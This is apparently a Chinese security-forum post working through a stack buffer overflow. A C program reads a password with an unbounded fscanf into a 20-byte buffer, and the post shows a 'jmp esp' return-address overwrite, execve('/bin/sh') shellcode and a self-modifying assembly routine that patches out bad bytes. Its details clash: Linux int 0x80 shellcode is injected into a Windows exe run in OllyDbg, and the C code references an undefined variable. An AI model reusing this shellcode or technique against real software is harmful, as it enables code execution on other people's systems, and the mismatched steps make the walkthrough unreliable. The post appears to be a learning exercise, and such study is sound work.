int main(void) { char cPas[20]={20 *0}; int iResult; FILE* pFile = NULL; pFile = fopen("pd.txt", "r"); fscanf(pFile, "%s",cPas); iResult=strcmp(Password, cPas); if(iResult == 0) { printf("Welcom\r\n"); } else { printf("fail\r\n"); } fclose(pFile); return 0; }
+ fscanf()函数(有点像正则表达式): 功 能: 从一个流中执行格式化输入,fscanf遇到空格和换行时结束,注意空格时也结束。 用 法:int fscanf(FILE *stream, char *format,[argument...]);
jmp esp
这个解决,HEX为FF E4
,在返回地址处填上jmp esp
这句代码的地址,这个exe的代码里面搜索到FF E4
,把返回地址改成这个即可。
论坛随便看到的shellcode
Explanation: 6a 0b push 0xb 58 pop eax 99 cdq 68 2f 73 68 00 push 0x68732f 68 2f 62 69 6e push 0x6e69622f 89 e3 mov ebx,esp 31 c9 xor ecx,ecx cd 80 int 0x80
然后就是发现这段shellcode里面有 cd 0b这样的阶段HEX
所以我自己写了改这段代码的shellcode
.386 .model flat, stdcall ;32 bit memory model option casemap :none ;case sensitive .code start: call Next Next: pop ebx sub ebx,offset Next lea eax,[ebx+offset mydata] ;1Bh==>Bh mov bl,[eax+1] sub bl,10h mov [eax+1],bl ;0CEh==>CDh mov bl,[eax+18] dec bl mov [eax+18],bl mydata db 6Ah,1Bh,58h,099h,68h,2Fh,73h,68h,00h,68h,2Fh,62h,69h,6Eh,89h,0E3h,31h,0C9h,0CEh,80h ret end start
编译链接exe,用winhex打开复制shellcode代码
复制到我们的输入中去
OD执行下
[进行中] 看雪20周年庆典12月28日上海举办,LV四级(中级)以上会员免费参与!,同时在校学生免费参加:学生报名链接!